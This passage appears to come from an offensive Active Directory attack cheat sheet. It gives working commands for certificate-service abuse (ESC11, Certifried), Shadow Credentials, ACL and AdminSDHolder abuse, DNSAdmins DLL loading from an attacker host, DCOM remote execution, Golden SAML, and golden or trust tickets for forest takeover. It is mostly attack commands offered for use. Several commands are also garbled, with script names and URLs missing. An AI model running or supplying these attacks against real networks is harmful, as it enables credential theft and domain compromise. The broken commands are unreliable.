    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 - Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements: * sploutchy/Certipy - Certipy fork * sploutchy/impacket - Impacket fork

Exploitation: 1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip -stdout output 2. Setup a relay using Impacket ntlmrelay and trigger a connection to it. -t rpc:// -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

Certifried CVE-2022-26923

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

  • Find ms-DS-MachineAccountQuota
    python -d lab.local -u username -p 'Password123*' --host getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota 
  • Add a new computer in the Active Directory, by default MachineAccountQuota = 10
    python -d lab.local -u username -p 'Password123*' --host addComputer cve 'CVEPassword1234*'
    certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  • [ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN
    Rubeus.exe tgtdeleg
    export KRB5CCNAME=/tmp/ws02.ccache
    python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
  • Set the dNSHostName attribute to match the Domain Controller hostname
    python -d lab.local -u username -p 'Password123*' --host setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
    python -d lab.local -u username -p 'Password123*' --host getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
  • Request a ticket
    # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
    certipy req 'lab.local/cve$:CVEPassword1234*@' -template Machine -dc-ip -ca lab-ADCS-CA
  • Either use the pfx or set a RBCD on your machine account to takeover the domain
    certipy auth -pfx ./dc.pfx -dc-ip
    openssl pkcs12 -in dc.pfx -out dc.pem -nodes
    python -d lab.local  -c ":dc.pem" -u 'cve$' --host setRbcd 'CVE$' 'CRASHDC$' -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 'lab.local/cve$:CVEPassword1234*' -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip -target-ip 


Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

  • Windows
    # Information about a cert file
    certutil -v -dump admin.pfx
    # From a Base64 PFX
    Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    # Grant DCSync rights to an user
    ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
    # To restore
    ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  • Linux
    # Base64-encoded PFX certificate (string) (password can be set) -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # PEM certificate (file) + PEM private key (file) -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # PFX certificate (file) + password (string, optionnal) -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    # Using Certipy
    certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
    certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

UnPAC The Hash

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

  • Windows
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
  • Linux
    # Obtain a TGT by validating a PKINIT pre-authentication
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'

Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

⚠ User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements: * Domain Controller on (at least) Windows Server 2016 * Domain must have Active Directory Certificate Services and Certificate Authority configured * PKINIT Kerberos authentication * An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

Exploitation: - From Windows, use Whisker:

# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

  • From Linux, use pyWhisker:
    # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
    python3 -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
    # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
    python3 -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
    # Removes a key credential from the target object specified by a DeviceID GUID.
    python3 -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"


  • Scenario 1: Shadow Credential relaying
  • Trigger an NTLM authentication from DC01 (PetitPotam)
  • Relay it to DC02 (ntlmrelayx)
  • Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  • Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

  • Scenario 2: Workstation Takeover with RBCD

    # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
    # Set up ntlmrelayx to relay authentication from target workstation to DC 
    proxychains python3 -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81
    # Execute printer bug to trigger authentication from target workstation 
    proxychains python3 ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file
    # Get a TGT using the newly acquired certificate via PKINIT 
    proxychains python3 ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR
    # Get a ST (service ticket) for the target account 
    proxychains python3 kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v
    # Utilize the ST for future activity 
    export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
    proxychains python3 -k -no-pass ez.lab/administrator@ws2.ez.lab

Active Directory Groups

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

crackmapexec ldap -u username -p password --admin-count
# or
python -u\john -p pass123 -d ';'
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or

AdminSDHolder Abuse

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All

Abusing DNS Admins Group

It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

⚠ Require privileges to restart the DNS service.

  • Enumerate members of DNSAdmins group
    Get-NetGroupMember -GroupName "DNSAdmins"
    Get-ADGroupMember -Identity DNSAdmins
  • Change dll loaded by the DNS service
    # with RSAT
    dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
    dnscmd /config /serverlevelplugindll \\\exploit\privesc.dll
    # with DNSServer module
    $dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
    $dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
    Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
  • Check the previous command success
    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
  • Restart DNS
    sc \\dc01 stop dns
    sc \\dc01 start dns

Abusing Schema Admins Group

The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.

Abusing Backup Operators Group

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.

This groups grants the following privileges : - SeBackup privileges - SeRestore privileges

  • Get members of the group:
    PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
  • Enable privileges using giuliano108/SeBackupPrivilege
    Import-Module .\SeBackupPrivilegeUtils.dll
    Import-Module .\SeBackupPrivilegeCmdLets.dll
  • Retrieve sensitive files
    Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
  • Retrieve content of AutoLogon in the HKLM\SOFTWARE hive
    $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
    $winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
    $winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
  • Retrieve SAM,SECURITY and SYSTEM hives
  • mpgn/BackupOperatorToDA: .\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\\SHARE\
  • improsec/BackupOperatorToolkit: .\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK

Active Directory Federation Services

ADFS - Golden SAML

Requirements: * ADFS service account * The private key (PFX with the decryption password)

Exploitation: * Run mandiant/ADFSDump on AD FS server as the AD FS service account. It will query the Windows Internal Database (WID): \\.\pipe\MICROSOFT##WID\tsql\query * Convert PFX and Private Key to binary format

# For the pfx
echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
# For the private key
echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin 
* Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies.
mkdir ADFSpoofTools
cd $_
git clone
git clone 
virtualenv3 venvADFSSpoof
source venvADFSSpoof/bin/activate
pip install lxml
pip install signxml
pip uninstall -y cryptography
cd cryptography
pip install -e .
cd ../ADFSpoof
pip install -r requirements.txt
python -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name=""><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'

Other interesting tools to exploit AD FS: * WhiskeySAML

Active Directory Integrated DNS

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

  • Enumerate all records using dirkjanm/adidnsdump
    adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
  • Query a node using dirkjanm/krbrelayx -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
  • Add a node and attach a record -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show


  • GenericAll on User : We can reset user's password without knowing the current password
  • GenericAll on Group : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :

    • On Windows : net group "domain admins" hacker /add /domain
    • On Linux:
      • using the Samba software suite : net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
      • using bloodyAD: --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'
  • GenericAll/GenericWrite : We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

    # Check for interesting permissions on accounts:
    Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
    # Check if current user has already an SPN setted:
    PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
    # Force set the SPN on the account: Targeted Kerberoasting
    PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
    PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
    # Grab the ticket
    PowerView2 > $User = Get-DomainUser username 
    PowerView2 > $User | Get-DomainSPNTicket | fl
    PowerView2 > $User | Select serviceprincipalname
    # Remove the SPN
    PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname

  • GenericAll/GenericWrite : We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.

    • On Windows:
      # Modify the userAccountControl
      PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
      PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
      # Grab the ticket
      PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
      ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
      # Set back the userAccountControl
      PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
      PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    • On Linux:
      # Modify the userAccountControl
      $ --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
      # Grab the ticket
      $ DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
      # Set back the userAccountControl
      $ --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False


  • Reset another user's password

    • On Windows:
      $user = 'DOMAIN\user1'; 
      $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
      $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
      $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
      Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
    • On Linux:
      # Using rpcclient from the  Samba software suite
      rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
      # Using bloodyAD with pass-the-hash --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
  • WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\\totallyLegitScript.ps1

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. -

⚠ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.


To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

  • WriteDACL on Domain:

    • On Windows:
      # Give DCSync right to the principal identity
      Import-Module .\PowerView.ps1
      $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
      $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
      Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
    • On Linux:
      # Give DCSync right to the principal identity --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
      # Remove right after DCSync --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
  • WriteDACL on Group

    Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
    net group "INTERESTING_GROUP" User1 /add /domain
    ```powershell --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp

# Remove right --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False ```


An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
Or --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.


An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
Or for a given computer -u john.doe -d bloody -p Password512 --host getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime


An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
python -u john.doe -d bloody -p Password512 --host getObjectAttributes gmsaAccount$ msDS-ManagedPassword


An attacker can change the password of the user this ACE applies to: * On Windows, this can be achieved with Set-DomainUserPassword (PowerView module):

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

  • On Linux:
    # Using rpcclient from the  Samba software suite
    rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
    # Using bloodyAD with pass-the-hash --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd

DCOM Exploitation

DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

  • Impacket [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...] -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
    python3 -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
    # -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
    # -silentcommand executes the command without attempting to retrieve the output.
  • CheeseTools -
    -t, --target=VALUE         Target Machine
    -b, --binary=VALUE         Binary: powershell.exe
    -a, --args=VALUE           Arguments: -enc <blah>
    -m, --method=VALUE         Methods: MMC20Application, ShellWindows,
                                ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                                OutlookShellEx, ExcelXLL, VisioExecLine, 
    -r, --reg, --registry      Enable registry manipulation
    -h, -?, --help             Show Help
    Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
  • Invoke-DCOM -
    Import-Module .\Invoke-DCOM.ps1
    Invoke-DCOM -ComputerName '' -Method MMC20.Application -Command "calc.exe"
    Invoke-DCOM -ComputerName '' -Method ExcelDDE -Command "calc.exe"
    Invoke-DCOM -ComputerName '' -Method ServiceStart "MyService"
    Invoke-DCOM -ComputerName '' -Method ShellBrowserWindow -Command "calc.exe"
    Invoke-DCOM -ComputerName '' -Method ShellWindows -Command "calc.exe"

DCOM via MMC Application Class

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.

PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application",""))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\\webdav\build.xml","7")

Invoke-MMC20RCE :

DCOM via Office

  • Excel.Application
  • DDEInitiate
  • RegisterXLL
  • Outlook.Application
  • CreateObject->Shell.Application->ShellExecute
  • CreateObject->ScriptControl (office-32bit only)
  • Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
  • Addons
  • ExecuteLine
  • Word.Application
  • RunAutoMacro
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM

# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")

DCOM via ShellExecute

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

DCOM via ShellBrowserWindow

⚠ Windows 10 only, the object doesn't exists in Windows 7

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

Trust relationship between domains

  • One-way
  • Domain B trusts A
  • Users in Domain A can access resources in Domain B
  • Users in Domain B cannot access resources in Domain A
  • Two-way
  • Domain A trusts Domain B
  • Domain B trusts Domain A
  • Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

  • Native nltest
    nltest /trusted_domains
  • PowerShell GetAllTrustRelationships
    SourceName          TargetName                    TrustType      TrustDirection
    ----------          ----------                    ---------      --------------
    domainA.local      domainB.local                  TreeRoot       Bidirectional
  • Crackmapexec module enum_trusts
    cme ldap <ip> -u <user> -p <pass> -M enum_trusts 

Exploit trusts between domains

⚠ Require a Domain-Admin level access to the current domain.

Source Target Technique to use Trust relationship
Root Child Golden Ticket + Enterprise Admin group (Mimikatz /groups) Inter Realm (2-way)
Child Child SID History exploitation (Mimikatz /sids) Inter Realm Parent-Child (2-way)
Child Root SID History exploitation (Mimikatz /sids) Inter Realm Tree-Root (2-way)
Forest A Forest B PrinterBug + Unconstrained delegation ? Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements: - KRBTGT Hash - Find the SID of the domain

$ Convert-NameToSid\krbtgt

# with Impacket domain/user:password@
- Replace 502 with 519 to represent Enterprise Admins - Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Forest to Forest Compromise - Trust Ticket

  • Require: SID filtering disabled

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.

Dumping trust passwords (trust keys)

Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.

lsadump::trust /patch

or find the TRUST_NAME$ machine account hash

Create a forged trust ticket (inter-realm TGT) using Mimikatz

mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt / /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi

Use the Trust Ticket file to get a ST for the targeted service

.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

Inject the ST file and access the targeted service with the spoofed rights.

kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$

Privileged Access Management (PAM) Trust

PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.

